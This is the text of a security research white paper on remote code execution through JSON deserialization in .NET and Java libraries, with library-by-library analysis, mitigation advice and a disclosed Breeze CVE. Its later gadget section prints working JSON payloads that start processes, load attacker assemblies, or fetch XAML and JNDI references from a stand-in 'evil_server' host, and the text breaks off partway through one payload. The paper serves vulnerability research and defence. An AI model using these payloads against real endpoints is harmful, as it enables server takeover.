Hewlett Packard
Enterprise

Friday the 13th JSON Attacks

Alvaro Muñoz & Oleksandr Mirosh
HPE Software Security Research

Introduction

Security issues with deserialization of untrusted data in several programming languages have been known for many years. However, it got major attention on 2016 which will be remembered as the year of Java Deserialization apocalypse. Despite being a known attack vector since 2011, the lack of known classes leading to arbitrary code execution in popular libraries or even the Java Runtime allowed Java Deserialization vulnerabilities fly under the radar for a long time. These classes could be used to execute arbitrary code or run arbitrary processes (remote code execution or RCE gadgets). In 2015 Frohoff and Lawrence published an RCE gadget in the Apache Commons-Collections library [1] which was used by many applications and therefore caught many applications deserializing untrusted data off-guard. The publication of the Apache Commons-Collections gadget was followed by an explosion of new research on gadgets, defense and bypass techniques and by the hunting of vulnerable products/endpoints.

The most obvious solution proposed at that time to mitigate the growing number of vulnerable applications was to stop using Java serialization altogether which involved replacing it with something else. Several security experts including ourselves pointed at secure JSON libraries as a viable alternative [2] since some XML parsers were also known to be vulnerable and JSON was still free of known RCE vectors.

Our research showed that the main requirements for successful RCE attacks on unmarshalling libraries are that:

1) The library invokes methods on user-controlled types such as non-default constructors, setters, deserialization callbacks, destructors, etc.
2) The availability of a large gadget space to find code which logic could be abused by the attacker to craft his/her payloads. As we will conclude, the format used for the serialization is not relevant. It can be binary data, text such as XML, JSON or even custom binary formats. As long as those requirements are met, attackers may be able to gain code execution opportunities regardless of the format. (With format being XML, JSON or the classical Java and .Net binary serializers)

In this paper, we will focus on JSON libraries and we will analyze which ones could allow arbitrary code execution upon deserialization of untrusted data. We will also have a look at .NET world by reviewing existing research on this field and completing it with updated list of vulnerable formatters and proof of concept gadgets to attack them. To finish, we will extend the research on JSON serialization libraries and .NET formatters into any serialization format available. We will provide guidance to find out whether it could be attacked and how to attack it. Where possible, we will also provide mitigation advice to help avoid vulnerable configurations that could turn your serialization library vulnerable.

[1] https://frohoff.github.io/appseccali-marshalling-pickles/
[2] https://www.rsaconference.com/writable/presentations/file_upload/asd-f03-serial-killer-silently-pwning-your-java-endpoints.pdf

JSON Attacks

The immediate question we raised after researching Java Deserialization attacks [3] and JNDI attacks [4] was, Is JSON any better? The easy answer is yes for simple JSON, when used to transmit simple objects (normally Javascript objects) or pure data. However, replacing Java or .NET serialization with JSON implies sending Java/.NET objects and thus would also require being able to deal with polymorphism and other OOP wonders.

Both Java Deserialization and .NET BinaryFormatter deserialization are known to be vulnerable to deserialization attacks since they invoke deserialization callbacks during the process. The whole attack boils down to be able to control an object type in the deserialized object graph which has a deserialization callback whose logic could be subverted to run arbitrary code.

JSON deserialization, in general, lacks the concept of deserialization callbacks which may lead to a false sense of security: these formats being secure to deal with untrusted data. To prove this hypothesis wrong, let's review how deserialization libraries normally work.

When dealing with Java/.NET objects, a JSON unmarshaller should be able to reconstruct the object using the details present in JSON data. There are different ways to do this reconstruction. The most common ones are the following:

Default constructor and reflection

The unmarshaller creates a new object (allocates space in memory) by using the default (parameterless) constructor and then uses reflection to populate all fields or property members. This approach is used by some JSON unmarshallers such as JSON-IO (Java) and "classical" .NET deserializers (when Type is annotated as Serializable but does not implements `ISerializable` interface).
It is a quite powerful way of reconstructing objects and allows to work with most object types. At first glance, it seems to be secure as usually no methods are invoked during the unmarshalling process and therefore it may be difficult to start a gadget chain. Unfortunately, this impression is not completely correct and there are still some chain-starting gadgets that can be successfully used for attacks:

- Destructors (eg: `Finalize()`) – Will always be invoked by the garbage collector.
- Some types cannot be reconstructed using reflection. For example, .NET Hashtable – hashes may be different on various machines/OSs so they need to be recalculated. During this process a lot of methods such as `HashCode() Equal()` or `Compare()` may get invoked.
- It is normally possible to find calls to other methods. For example `toString()` may get invoked by an exception handler.

Default constructor and setters

Like the previous approach, unmarshaller creates a new object by calling the default constructor but instead of using reflection, it uses property/field setters to populate the object fields. Usually unmarshallers work only with public properties/fields so this approach is more limited than the previous one. Despite this limitation, the major part of unmarshallers use this approach to reconstruct objects. In some cases, unmarshallers can even use reflection to invoke private setter as well. Since custom setters are common in standard and third-party libraries, the gadget space is quite large for both languages .NET and Java which opens an interesting space for attacks.

Special constructor or "deserialization callbacks"

For object reconstruction, unmarshaller can use special constructors, "deserialization callbacks" or "magic methods" to trigger special logic that could be required to completely initialize the object. Examples can be Json.Net with its `[OnError]` attribute [5] or *classical* deserializers: `readObject()` for Java, special constructor for `ISerializable` in .NET, `[OnDeserialized]` and `[OnDeserializing]` annotated methods in .NET or `ReadXml()` of `IXmlSerializable` for `XmlSerializer`.

---

[3] https://community.saas.hpe.com/t5/Security-Research/The-perils-of-Java-deserialization/ba-p/246211#.WVIMyROGPpQ
[4] https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
[5] http://www.newtonsoft.com/json/help/html/SerializationErrorHandling.htm

We found it is a quite rare case when JSON marshaller has own deserialization callbacks but a few libraries try to bridge to Java/.NET deserialization callbacks.

Java deserialization attacks were based on the fact that deserialization callbacks were invoked during deserialization. Controlling the serialized data (used in these callbacks) was used to launch different forms of attacks including code execution or denial of service.
As we already saw, JSON unmarshallers do not normally run any callbacks during object deserialization so existing gadgets are normally useless for attacking these unmarshallers. However, there are other methods that will be executed during the deserialization process which we could use to start a gadget chain.

- Used so far *classical* serialization formats:
  - Serialization callbacks or magic methods (eg: `Serializable`, `Externalizable`, `ISerializable`, etc.)
  - Proxy handlers
  - Common invoked methods such as: `toString()`, `hashCode()` and `equals()`
  - Destructor
- Other methods that could be used to start gadget chains:
  - Non-default constructors
  - Setters
  - Type Converters (.NET specific)

We found that most of the JSON libraries we analyzed invoked setters to populate object fields, therefore we focused our analysis on finding types with setters that could lead to arbitrary code execution.

For this analysis, it is important to understand the difference between setters in the two major programming languages: .NET and Java. While .NET uses properties, and has real getters and setters to read and write the values of the property's backing fields, Java lacks the concept of properties and only works with fields. Therefore, Java getters and setters are merely a convention to designate methods which are meant to read and write class' fields. A strict verification of whether a field exists and the setter name follows the getter/setter nomenclature convention is left to library implementations and very often they lack a strict verification process. This can be abused by an attacker to force the execution of methods that are not really field setters (they don't have a backing field or they do not even follow a strict naming convention such as camel casing the property name which could be used to call methods such as `setup()` just because it starts with "set" prefix and has only one argument).

Affected Libraries
During this research, we analyzed different Java/.NET libraries to determine whether these libraries could lead to arbitrary code execution upon deserialization of untrusted data in their default configuration or under special configurations.
Each library works in a different way but we found the following factors which could lead to arbitrary code execution:

- Format includes type discriminator
  - By default
  - Enabling a configuration setting
- Type control
  - Cast after deserialization
    - Attacker will be able to send any arbitrary type/class which will be reconstructed before the cast is performed and therefore the payload will be executed by the time we get a cast exception.

- Inspection of expected type object graph (weak)
  - Check that expected member type is assignable from provided type.
  - Vulnerable if an attacker can find suitable “entry point” for payload in expected object graph. Refer to "Finding entry points in object graphs" for more details.
- Inspection of expected type object graph (strong)
  - Inspection of expected type object graph to create whitelist of allowed types
  - Still vulnerable if expected type is user controllable

Analyzed libraries can be summarized in the following table:

Name	Language	Type Discriminator	Type Control	Vector
FastJSON	.NET	Default	Cast	Setter
Json.Net	.NET	Configuration	Expected Object Graph Inspection (weak)	Setter Deser. Callbacks Type Converters
FSPickler	.NET	Default	Expected Object Graph Inspection (weak)	Setter Deser. callbacks
Sweet.Jayson	.NET	Default	Cast	Setter
JavascriptSerializer	.NET	Configuration	Cast	Setter
DataContractJsonSerializer	.NET	Default	Expected Object Graph Inspection (strong)	Setter Deser. callbacks
Jackson	Java	Configuration	Expected Object Graph Inspection (weak)	Setter
Genson	Java	Configuration	Expected Object Graph Inspection (weak)	Setter
JSON-IO	Java	Default	Cast	toString

FlexSON	Java	Default	Cast	Setter

FastJSON
Project Site: https://github.com/mgholam/fastJSON
NuGet Downloads: 71,889

FastJson includes type discriminators by default which allows attackers to send arbitrary types. It performs a weak type control by casting the deserialized object to the expected type when object has already been deserialized.

During deserialization, it will call:

- Setters

Should never be used with untrusted data since it cannot be configured in a secure way.

Json.Net
Project Site: http://www.newtonsoft.com/json
NuGet Downloads: 64,836,516

Json.Net is probably the most popular JSON library for .NET. In its default configuration, it will not include type discriminators on the serialized data which prevents this type of attacks. However, developers can configure it to do so by either passing a `JsonSerializerSettings` instance with `TypeNameHandling` property set to a non-`None` value:

```
var deser = JsonConvert.DeserializeObject<Expected>(json, new
JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.All
});
```

Or by annotating a property of a type to be serialized with the `[JsonProperty]` annotation:

```
[JsonProperty(TypeNameHandling = TypeNameHandling.All)]
public object Body { get; set; }
```

The possible values for `TypeNameHandling` are:

`None`	0	Do not include the type name when serializing types
`Objects`	1	Include the .NET type name when serializing into a JSON object structure.
`Array`	2	Include the .NET type name when serializing into a JSON array structure.
`All`	3	Always include the .NET type name when serializing.
`Auto`	4	Include the .NET type name when the type of the object being serialized is not the same as its declared type.

Json.Net performs a verification of expected type. If expected type is not assignable from the one to be deserialized, unmarshaller will not process it. However, it is usually possible for attackers to use the same expected type or any derived type from it and place its payload gadget in a generic entry point member (See "Finding entry points in object graphs"). This is a balanced approach between security and usability for developers, as it will define a whitelist of valid types based on expected object graph. This approach offers robust security while saving developers from having to manually create these whitelists. This approach is not 100% bullet proof since there are still dangerous cases where an attacker can insert desired payload if any property from current, parent or derived type satisfies any of these requirements:

- It is Object Type (`java.lang.Object` or `System.Object`)

- It is a non-generic collection (e.g.: `ArrayList`, `Hashtable`, etc.)
- It implements `IDynamicMetaObjectProvider`
- It is `System.Data.EntityKeyMember` or any derived Type from it. We may not need even `TypeNameHandling` property set to a non-`None` (see the `EntityKeyMemberConverter` in "TypeConverters" section).

As the mentioned analysis can be done recursively for each property, including ones from derived types, the surface of available types can increase dramatically and controlling it becomes a non-trivial task for developers. Furthermore, for the mentioned cases, very often the deserializer will need to infer what type it needs to create, and using `TypeNameHandling.{Objects|Arrays|All|Auto}` becomes mandatory. We will present a real-world case in "Example: Breeze (CVE-2017-9424)".

If Json.Net is configured to use an insecure `TypeNameHandling` setting, and the expected object graph contains a member we can use for the injection, attackers may use a wide range of gadgets since Json.Net will call multiple methods:

- Setters
- Serialization Constructor
- Type Converters
- OnError annotated methods

To use it with untrusted data, either, do NOT use any `TypeNameHandling` other than `None` or use a `SerializationBinder`[6] to validate and whitelist the incoming types.

FSPickler
Project site: http://mbraceproject.github.io/FsPickler/
NuGet Dowloads: 97,245

FsPickler is a serialization library that facilitates the distribution of objects across .NET processes. The implementation focuses on performance and supporting as many types as possible, where possible. It supports multiple, pluggable serialization formats such as XML, JSON and BSON; also included is a fast binary format of its own.

FSPickler will include type discriminators by default so attackers may be able to force the instantiation of arbitrary types. However, it performs an expected type graph inspection which will require the attacker to find a member in the object graph where the payload can be injected.

During deserialization, it will call:
- Setters
- Serialization Constructor

FSPickler should never be used with untrusted data unless expected types are simple and payload injection is not possible. This is not a recommended approach since it requires keeping current with published gadgets.

Sweet.Jayson
Project Site: https://github.com/ocdogan/Sweet.Jayson
NuGet Downloads: 1,697

Fast, reliable, easy to use, fully json.org compliant, thread safe C# JSON library for server side and desktop operations.

Sweet.Jayson will include type discriminators by default and will perform a weak type control by deserializing the object first and then casting it to the expected type. This approach allows an attacker to send payload as the root object in Json data.

[6] http://www.newtonsoft.com/json/help/html/SerializeSerializationBinder.htm

During deserialization, it will call:

- Setters

Sweet.Jayson should never be used with untrusted data since it cannot be configured in a secure way.

JavascriptSerializer

Project Site: Native .NET library
(https://msdn.microsoft.com/en-us/library/system.web.script.serialization.javascriptserializer(v=vs.110).aspx)

.NET native library that provides serialization and deserialization functionality for AJAX-enabled applications.

By default, it will not include type discriminator information which makes it a secure serializer. However, a type resolver can be configured to include this information. For example:

```
JavascriptSerializer jss = new JavascriptSerializer(new
SimpleTypeResolver());
```

It does not use any type control other than a post-deserialization cast, so payloads can be included as the root Json element.

During deserialization, it will call:

- Setters

It can be used securely as long as a type resolver is not used or type resolver is configured as one of the whitelisted valid types.

DataContractJsonSerializer

Project Site: Native .NET library
(https://msdn.microsoft.com/en-us/library/system.runtime.serialization.json.datacontractjsonserializer(v=vs.110).aspx)

.NET native library that serializes objects to the JavaScript Object Notation (JSON) and deserializes JSON data to objects.

`DataContractJsonSerializer` extends `XmlObjectSerializer` and it can normally be considered a secure serializer since it performs a strict type graph inspection and prevents deserialization of non-whitelisted types. However, we found that if an attacker can control the expected type used to configure the deserializer, he/she will be able to execute code.

```
var typename = cookie["typename"];
…
var serializer = new
DataContractJsonSerializer(Type.GetType(typename));
var obj = serializer.ReadObject(ms);
```

During deserialization, it will call:

- Setters
- Serialization Constructors

`DataContractSerializer` can be used securely as long as the expected type cannot be controlled by users.

Jackson

Project site: https://github.com/FasterXML/jackson

Jackson is probably the most popular JSON library for Java.

By default, it does not include any type information along the serialized data, however since this is necessary to serialize polymorphic types and System.lang.Object instances, it defines a way to include type discriminators by using a global setting or per field annotation.

It can be globally enabled by calling enableDefaultTyping on the object mapper:

```
// default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
objectMapper.enableDefaultTyping();
```

The following typings are possible:

- JAVA_LANG_OBJECT: only affects properties of type `Object.class`
- OBJECT_AND_NON_CONCRETE: affects `Object.class` and all non-concrete types (abstract classes, interfaces)
- NON_CONCRETE_AND_ARRAYS: same as above, and all array types of the same (direct elements are non-concrete types or `Object.class`)
- NON_FINAL: affects all types that are not declared 'final', and array types of non-final element types.

It can also be enabled for a specific class field by annotating it with `@JsonType`:

```
@JsonTypeInfo(use=JsonTypeInfo.Id.CLASS,
include=JsonTypeInfo.As.PROPERTY, property="@class")
public Object message;
```

As with Json.Net, if type discriminators are enabled, attackers will be able to inject their payloads on any member in the expected object graph which is can be assigned the gadget type.

Upon deserialization, the following methods will be invoked:

- Setters

When dealing with untrusted data, the best option is to never enable type information. If it is required, do it by using the `@JsonTypeInfo` annotation only for the required fields and using `JsonTypeInfo.Id` other than `CLASS` as its "use" value.

Genson

Project site: https://owlike.github.io/genson/

Genson is a Java and Scala JSON conversion library.

As in Jackson, the serializer will not include the type information by default, but it can be configured to do so by calling `useRuntimeType()` on the mapper builder. In the other hand Genson does an inspection of the expected object graph to control which classes can be deserialized. Therefore, an attacker needs to find an injection field in the object graph.

Genson will call the following methods upon deserialization:

- Setters

When dealing with untrusted data, Genson should never be configured to use runtime types.

JSON-IO

Project site: https://github.com/jdereg/json-io

Json-io is a light JSON parser which by default includes type information on the produced JSON. It does not implement any type controls other than casting to the expected type. An attacker may be able to inject payload as the root element of the JSON body.

Json-io will use reflection to assign field values and therefore, it will not invoke any setters during deserialization process. However, we found that it is still vulnerable since it will call the `toString()` method of the deserialized class if an exception is raised. An attacker will be able to force json-io to create an instance of a desired class, populate any field using reflection with attacker controlled data and then add an incorrect value for some field which will trigger an exception. Consequently, Json-io will call the `toString()` method on the deserialized object.

Methods called upon deserialization:

- toString()

Json-io should never be used with untrusted data.

FlexSON

Project site: http://flexjson.sourceforge.net/

Flexjson is a lightweight library for serializing and deserializing Java objects into and from JSON.

It includes type discriminators in the serialized JSON data by default and it does not implement any type control. This allows attackers to easily attack this parser.

Upon deserialization it will call:

- Setters

It should never be used with untrusted data.

Finding entry points in object graphs

Some libraries perform type control by inspecting expected type object graph and only allowing types that are assignable to expected field types. When that is the case, an attacker needs to find an entry point to place payload gadget. Depending on the object graph, this may or may not be possible. The following are some tips we used to find those entry points in the target object graph.

- .NET non-generic collections such as `Hashtable`, `Arraylist`, etc.
- Object member (`java.lang.Object` or `System.Object`)
- Generic types (eg: `Message<T>`)

In addition, attackers can extend the surface of this search:

- Use a derived type of expected member type
  - Java example: Field type is `java.lang.Exception`, derived type `javax.management.InvalidApplicationException` can be used which has a `java.lang.Object` field that can be used to place any payload gadget.
  - .NET example: Property type is `System.Exception`, `System.ComponentModel.DataAnnotations.ValidationException` can be used which has a `System.Object` property that can be used to place any payload gadget.
- Use property of parent type

Any of these actions can be done recursively for any type from the expected type graph

Example: Breeze (CVE-2017-9424)
Breeze (http://www.getbreezenow.com/) is a .NET data management backend framework which allows developers to write data management endpoints for Javascript and .NET clients. Communication is done over HTTP/JSON and uses Json.Net as parsing library.

The project was configured to use `TypeNameHandling.All` and therefore it will include the .NET type details in the exchanged Json data. An attacker could modify this type information and force the backend to deserialize arbitrary types and therefore calling setters on arbitrary types.
An attacker was able to inject its payload in the `Tag` property of the expected `SaveOptions` type:

```
public class SaveOptions {
    public bool AllowConcurrentSaves { get; set; }
    public Object Tag { get; set; }
}
```

This vulnerability affected all users of breeze framework regardless of their configuration or exposed endpoints.

Report Timeline
Issue was reported on May 29th
Vulnerability was fixed in version 1.6.5 which was released on June 1st [7] (Just 2 days!)

Gadgets

The following section is a summary of the setter gadgets we found and used to attack analyzed libraries.

.NET RCE Gadgets

System.Configuration.Install.AssemblyInstaller

Sample JSON payload:

```
{"$type":"System.Configuration.Install.AssemblyInstaller,
System.Configuration.Install, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a",
"Path":"file:///c:/somePath/MixedLibrary.dll"}
```

Source code:

```
// System.Configuration.Install.AssemblyInstaller
public void set_Path(string value)
{
        if (value == null)
        {
                this.assembly = null;
        }
        this.assembly = Assembly.LoadFrom(value);
}
```

Attack vector:

Execute payload on assembly load. There can be used 2 ways for RCE:

- We can put our code in `DllMain()` function of Mixed Assembly [8]

[7] http://breeze.github.io/doc-net/release-notes.html
[8] https://blog.cylance.com/implications-of-loading-net-assemblies

- We can put our code in static constructor of own Type derived from `System.Configuration.Install.Installer` and annotated as `[RunInstallerAttribute(true)]` [9]. In this case we will need to call `InitializeFromAssembly()`. It can be done using the `HelpText` getter.

Requirements:

There is no additional requirement if assembly with payload is on the local machine but in case of remote resources, newer .Net Framework versions may have some additional security checks.

System.Activities.Presentation.WorkflowDesigner

Sample JSON payload:

```
{"$type":"System.Activities.Presentation.WorkflowDesigner,
System.Activities.Presentation, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35",
"PropertyInspectorFontAndColorData":"<ResourceDictionary

xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"
  xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"
  xmlns:System=\"clr-namespace:System;assembly=mscorlib\"
  xmlns:Diag=\"clr-namespace:System.Diagnostics;assembly=system\">
     <ObjectDataProvider x:Key=\"LaunchCalc\"
        ObjectType=\"{x:Type Diag:Process}\"
        MethodName=\"Start\">
        <ObjectDataProvider.MethodParameters>
            <System:String>calc</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>"
}
```

Source code:

```
// System.Activities.Presentation.WorkflowDesigner
public void set_PropertyInspectorFontAndColorData(string value)
{
        StringReader input = new StringReader(value);
        XmlReader reader = XmlReader.Create(input);
        Hashtable hashtable = (Hashtable)XamlReader.Load(reader);
…
```

Attack vector:

Execute static method during parsing of Xaml payload.

[9] https://msdn.microsoft.com/en-us/library/system.componentmodel.runinstallerattribute(v=vs.110).aspx

Requirements:

Constructor of this Type requires Single-Threaded-Apartment (STA) thread

System.Windows.ResourceDictionary

Sample JSON payload:

```
{"__type":"System.Windows.Application, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"Resources":{"__type":"System.Windows.ResourceDictionary,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35",
"Source":"http://evil_server/EvilSite/Xamlpayload"}}
```

Source code:

```
// System.Windows.ResourceDictionary
public void set_Source(Uri value)
{
    ...
    this._source = value;
    this.Clear();
    Uri resolvedUri = BindUriHelper.GetResolvedUri(this._baseUri,
this._source);
    WebRequest request =
WpfWebRequestHelper.CreateRequest(resolvedUri);
    ...
    Stream s = null;
    try
    {
        s = WpfWebRequestHelper.GetResponseStream(request, out
contentType);
    }
...
    XamlReader xamlReader;
    ResourceDictionary resourceDictionary =
MimeObjectFactory.GetObjectAndCloseStream(s, contentType,
resolvedUri, false, false, false, false, out xamlReader) as
ResourceDictionary;
...
```

```
// MS.Internal.AppModel.MimeObjectFactory
internal static object GetObjectAndCloseStream(Stream s, ContentType
contentType, Uri baseUri, bool canUseTopLevelBrowser, bool
sandboxExternalContent, bool allowAsync, bool isJournalNavigation,
out XamlReader asyncObjectConverter)
{
    object result = null;
    asyncObjectConverter = null;
    StreamToObjectFactoryDelegate streamToObjectFactoryDelegate;
```

```
    if (contentType != null &&
MimeObjectFactory._objectConverters.TryGetValue(contentType, out
streamToObjectFactoryDelegate))
{
        result = streamToObjectFactoryDelegate(s, baseUri,
canUseTopLevelBrowser, sandboxExternalContent, allowAsync,
isJournalNavigation, out asyncObjectConverter);

...
```

Static constructor of `System.Windows.Application` type initializes `_objectConverters`:

```
// System.Windows.Application
static Application()
{
...
        Application.ApplicationInit();...
```

```
// System.Windows.Application
private static void ApplicationInit()
{
...
StreamToObjectFactoryDelegate method = new
StreamToObjectFactoryDelegate(AppModelKnownContentFactory.XamlConver
ter);
MimeObjectFactory.Register(MimeTypeMapper.XamlMime, method);

......
```

Code of `XamlConverter`:

```
// MS.Internal.AppModel.AppModelKnownContentFactory
internal static object XamlConverter(Stream stream, Uri baseUri,
bool canUseTopLevelBrowser, bool sandboxExternalContent, bool
allowAsync, bool isJournalNavigation, out XamlReader
asyncObjectConverter)
{
...
        if (allowAsync)
        {
                XamlReader xamlReader = new XamlReader();
                asyncObjectConverter = xamlReader;
                xamlReader.LoadCompleted += new
AsyncCompletedEventHandler(AppModelKnownContentFactory.OnParserCompl
ete);
                return xamlReader.LoadAsync(stream, parserContext);
        }
        return XamlReader.Load(stream, parserContext);
}
```

Attack vector:

An attacker sends payload with URL to controlled server, this server responds with Xaml payload and `Content Type = application/xaml+xml` and target server will execute desired static method during parsing of Xaml payload.

Requirements:

- JSON unmarshaller should be able to unmarshal `System.Uri` type.
- JSON unmarshaller should call setters for Types that implement `IDictionary`. Often in this case unmarshallers just put key-value pairs in the dictionary instead of using the setter to assign its value.

System.Windows.Data.ObjectDataProvider

Sample JSON payload:

```
{"$type":"System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35","MethodName":"Start","MethodParamet
ers":{"$type":"System.Collections.ArrayList,
mscorlib","$values":["calc"]},"ObjectInstance":{"$type":"System.Diag
nostics.Process, System, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089"}}
```

Source code:

```
// System.Windows.Data.ObjectDataProvider
public void set_ObjectInstance(object value)
{
...
        if (this.SetObjectInstance(value) && !base.IsRefreshDeferred)
        {
                base.Refresh();
        }
}
```

```
// System.Windows.Data.ObjectDataProvider
public void set_MethodName(string value)
{
        this._methodName = value;
        this.OnPropertyChanged("MethodName");
        if (!base.IsRefreshDeferred)
        {
                base.Refresh();
        }
}...
```

```
// System.Windows.Data.DataSourceProvider
public void Refresh()
{
        this._initialLoadCalled = true;
        this.BeginQuery();
}
```

```
// System.Windows.Data.ObjectDataProvider
protected override void BeginQuery()
{
...
        if (this.IsAsynchronous)
        {
                ThreadPool.QueueUserWorkItem(new
WaitCallback(this.QueryWorker), null);
                return;
        }
        this.QueryWorker(null);
```

```
}
```

```
// System.Windows.Data.ObjectDataProvider
private void QueryWorker(object obj)
{
...
Exception ex2 = null;
if (this._needNewInstance && this._mode ==
ObjectDataProvider.SourceMode.FromType)
{
        ConstructorInfo[] constructors =
this._objectType.GetConstructors();
        if (constructors.Length != 0)
        {
                this._objectInstance = this.CreateObjectInstance(out
ex2);
        }
        this._needNewInstance = false;
        }
        if (string.IsNullOrEmpty(this.MethodName))
        {
                obj2 = this._objectInstance;
        }
        else
        {
                obj2 = this.InvokeMethodOnInstance(out ex);
...
```

```
// System.Windows.Data.ObjectDataProvider
private object InvokeMethodOnInstance(out Exception e)
{
...
        object[] array = new object[this._methodParameters.Count];
        this._methodParameters.CopyTo(array, 0);
        try
        {
                result =
this._objectType.InvokeMember(this.MethodName, BindingFlags.Instance
| BindingFlags.Static | BindingFlags.Public |
BindingFlags.FlattenHierarchy | BindingFlags.InvokeMethod |
BindingFlags.OptionalParamBinding, null, this._objectInstance,
array, CultureInfo.InvariantCulture);
        }
```

Attack vector:

This gadget is very flexible and offers various attack scenarios therefore we were able to use it for almost any unmarshaller:

- We can call any method of unmarshaled object (ObjectInstance + MethodName)
- We can call parametrized constructor of desired type with controlled parameters (ObjectType + ConstructorParameters)
- We can call any public method including static ones with controlled parameters (ObjectInstance + MethodParameters + MethodName or ObjectType + ConstructorParameters + MethodParameters + MethodName)

System.Windows.Forms.BindingSource

Sample JSON payload:

```
{"$type":"System.Windows.Forms.BindingSource, System.Windows.Forms,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"DataMember":"HelpText",
"dataSource":{"$type":"System.Configuration.Install.AssemblyInstalle
r, System.Configuration.Install, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a","Path":"
file:///c:/somePath/MixedLibrary.dll"}}
```

Source code:

```
// System.Windows.Forms.BindingSource
public void set_DataSource(object value)
{
...
this.dataSource = value;
...
this.ResetList();
...
```

```
// System.Windows.Forms.BindingSource
private void ResetList()
{
...
        object obj = (this.dataSource is Type) ?
BindingSource.GetListFromType(this.dataSource as Type) :
this.dataSource;
        object list = ListBindingHelper.GetList(obj,
this.dataMember);
...
```

```
// System.Windows.Forms.ListBindingHelper
public static object GetList(object dataSource, string dataMember)
{
...
        PropertyDescriptorCollection listItemProperties =
ListBindingHelper.GetListItemProperties(dataSource);
        PropertyDescriptor propertyDescriptor =
listItemProperties.Find(dataMember, true);
...
        }
        else
        {
                obj = dataSource;
        }
        if (obj != null)
        {
                return propertyDescriptor.GetValue(obj);
        }
...
```

Attack vector:

Arbitrary getter call

Microsoft.Exchange.Management.SystemManager.WinForms.ExchangeSettingsProvider

Some gadgets can be used as a "bridge" to other formatters. Despite that this library is a quite rare (it is part of MS Exchange Server) we decided to provide its details as it can be a good example of such type of gadgets:

```
//Microsoft.Exchange.Management.SystemManager.WinForms.ExchangeSetti
ngsProvider
public void set_ByteData(byte[] value)
{
   if (value != null)
   {
      MemoryStream memoryStream = new MemoryStream(value);
      try
      {
         try
         {
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            Hashtable hashtable =
(Hashtable)binaryFormatter.Deserialize(memoryStream);
...
```

Attack vector:

It allows jumping from setters to nested BinaryFormatter deserialization.

System.Data.DataViewManager, System.Xml.XmlDocument/XmlDataDocument

These are examples of XXE gadgets. There are plenty of them but since XmlTextReader hardening in 4.5.2, it is not possible to use them since the XML parser will not load XML entities in the default configuration. Therefore these gadgets are no longer relevant, especially in the presence of existing RCE gadgets.

Java RCE gadgets

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName

This gadget was presented during our JNDI attacks talk at BlackHat 2016 [10]

Sample JSON payload:

```
{"@class":"org.hibernate.jmx.StatisticsService","sessionFactoryJNDIN
ame":"ldap://evil_server/uid=somename,ou=someou,dc=somedc"}
```

Source code:

```
public void setSessionFactoryJNDIName(String sfJNDIName) {
    this.sfJNDIName = sfJNDIName;
```

[10] https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

```
    try {
        Object obj = new InitialContext().lookup(sfJNDIName);
        if (obj instanceof Reference) {
            Reference ref = (Reference) obj;
            setSessionFactory( (SessionFactory)
SessionFactoryObjectFactory.getInstance( (String)
ref.get(0).getContent() ) );
        }
        else {
            setSessionFactory( (SessionFactory) obj );
        }
    }
    …
}
```

Attack vector:

JNDI lookup (see "Notes about JNDI attack vectors")

Availability:

Available in the following Maven Central packages/versions:

- org.hibernate / hibernate
  - 3.1 – 3.2.7
- org.hibernate / hibernate-jmx
  - 3.3.0 – 3.5.6
- org.hibernate / hibernate-core
  - 3.6.0 – 4.2.20
- com.springsource / org.hibernate
  - 3.2.6 – 4.1.0
- com.springsource / org.hibernate.core

  4.0.0 – 4.1.0

com.sun.rowset.JdbcRowSetImpl.setAutoCommit

This is the most interesting example since it is present in the Java Runtime and therefore, requires no external dependencies. It is not really a setter since there is no field called `autoCommit`, but libraries such as Jackson and Genson will invoke it when deserializing an "autoCommit" attribute in the JSON data.

Sample JSON Payload:

```
{"@class":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://evil_server/uid=somename,ou=someou,dc=somed
c", "autoCommit":true}
```

Source code:

```
public void setAutoCommit(boolean autoCommit) throws SQLException {
```

```
      if(conn != null) {
         conn.setAutoCommit(autoCommit);
      } else {
         conn = connect();
         conn.setAutoCommit(autoCommit);
      }
}
```

```
protected Connection connect() throws SQLException {
      if(conn != null) {
          return conn;
      } else if (getDataSourceName() != null) {
         try {
              Context ctx = new InitialContext();
              DataSource ds = (DataSource)ctx.lookup
(getDataSourceName());
         }
         catch (javax.naming.NamingException ex) {
             …
         }
         …
      }
      …
}
```

Attack vector:

JNDI lookup (see "Notes about JNDI attack vectors")

Availability:

Java 9 Jigsaw will potentially kill this gadget since this class won't be exposed by default by the module system. However, that will depend on how developers use and adopt Jigsaw.

org.antlr.stringtemplate.StringTemplate.toString

Sample JSON payload:

```
{"javaClass":"org.antlr.stringtemplate.StringTemplate","attributes":
{"table":{"javaClass":"TARGET_CLASS","TARGET_PROPERTY":
"value"}},"template":"$table.TARGET_PROPERTY$"}
```

Attack vector:

Arbitrary getter call which can be used to chain to other gadgets such as the infamous com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

Availability:

Available in antlr.StringTemplate ver 2.x and 3.x

com.atomikos.icatch.jta.RemoteClientUserTransaction.toString

Sample JSON Payload:

```
{"@class":" com.atomikos.icatch.jta.RemoteClientUserTransaction",
